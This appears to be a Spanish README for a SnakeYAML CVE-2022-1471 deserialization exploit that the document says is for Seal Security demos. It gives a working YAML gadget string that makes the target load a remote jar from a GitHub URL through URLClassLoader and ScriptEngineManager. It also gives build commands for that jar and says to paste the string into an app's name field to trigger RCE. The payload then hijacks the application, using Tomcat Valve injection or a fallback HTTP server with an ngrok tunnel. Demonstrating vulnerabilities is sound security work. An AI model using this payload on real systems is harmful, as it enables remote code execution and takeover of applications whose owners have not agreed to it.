
Payload de explotación de SnakeYAML CVE-2022-1471 para demos de Seal Security
Un payload de explotación de deserialización SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (basado originalmente en mbechler/marshalsec).
Cuando se carga mediante el inseguro Yaml.load() de SnakeYAML, este payload toma el control de la aplicación en ejecución y la reemplaza por una página "You've Been PWNED":
Si la inyección de Valve de Tomcat no está disponible (p. ej. en una aplicación que no es Spring), se recurre a iniciar un servidor HTTP independiente en el puerto 9999 y crea automáticamente un túnel de ngrok si ngrok está en ejecución.
Esto funciona tanto localmente en macOS como en pipelines de CI/CD (p. ej. GitHub Actions en Ubuntu).
El payload de SnakeYAML activa ScriptEngineManager mediante la SPI de Java (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL apuntando al yaml-payload.jar de este repositorioURLClassLoader para cargar clases remotasScriptEngineManager descubre y carga AwesomeScriptEngineFactory a través de META-INF/services/javax.script.ScriptEngineFactory/ por la página PWNEDRequiere JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Se utiliza como payload de explotación en el proyecto maven-demo. Pega la cadena del payload en el campo de nombre de la aplicación para desencadenar RCE. La página de la aplicación será reemplazada por la página PWNED en la siguiente solicitud. Consulta el README de ese repositorio para obtener las instrucciones completas de la demo.